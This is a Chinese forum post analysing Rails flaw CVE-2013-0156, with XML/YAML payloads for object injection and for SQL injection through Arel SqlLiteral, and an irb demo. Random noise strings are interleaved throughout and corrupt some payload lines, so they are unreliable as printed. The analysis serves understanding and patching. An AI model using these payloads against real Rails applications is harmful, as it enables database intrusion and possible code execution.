找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2718|回复: 0
打印 上一主题 下一主题

Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:16:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author: wofeiwo#80sec.com . H  C& p9 n6 G) Y' f

; t5 ?) N8 E4 D& A  D& a注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
/ g5 c8 M; c) ?# j( p; L2 u  D! W( T. \* y- M0 N- t8 ]% J$ M* K$ r
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
. w, t8 W! t3 o; n( ?, |( a2 s0 M3 I1 W
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. / m8 M+ B3 H! S# v

7 ^1 W: O4 W. S9 U! X- u$ }为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: ; q, t. I3 p" p3 w- C# G! c* u

& l, t" I! }6 i/ H1 w: Q, t* E<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
% X( l' |1 Q7 d* h( e
! n. y/ b# `3 v6 z# e' c3 _. a. x"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
4 {% o$ N2 {5 P# V5 o5 D
0 q+ A$ E* m5 c- f) O/ v" \, y说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
( v- G) S) ?' I  B# y
7 |: l# _7 q. `2 q! f" _5 l然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
, s' l" V2 K1 b' c  [2 f% L4 Y  _8 w' Q0 S  M0 C! G  k( G
但是等等,还有另一个参数类型,yaml。 4 `0 \. z: p3 p0 ~5 }& b

2 z) J0 {; _5 x+ N5 {3 ^) X5 o. j7 ~yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 9 N3 {- a. Z* Q) k! X
8 B3 i  ^! S! c5 G$ [
<test type="yaml">--- !ruby/object:A( W1 W7 D6 E! {2 I) h
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 ) t9 g2 V! a8 U" T' p, ^

) }6 d+ _1 t) X# T% e5 R如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
9 e2 e/ o$ Y9 L% D/ e5 S( p4 p- u) E* \- ?2 I9 o5 B
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 $ {; q9 d+ S7 [6 u2 E* {
: p. I8 o7 S# v2 n$ @  G
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) " {5 F" E* v6 O# c  p5 E

. v$ W& j* \0 [4 t9 A4 W# Z# \# H; {. fmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: : O! _2 P' ^% x0 U1 I' }3 A! {

' y/ [# h$ |6 B1 S0 O<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
+ _+ c- q2 @" V3 p$ _1 e* R1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 + G/ @8 _8 B$ Q1 i2 I# n  t

: |9 e# C+ R3 G+ ?9 U4 e' xirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
7 i7 S/ ^" A/ e0 H
( o+ g2 w! T: U3 M! B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表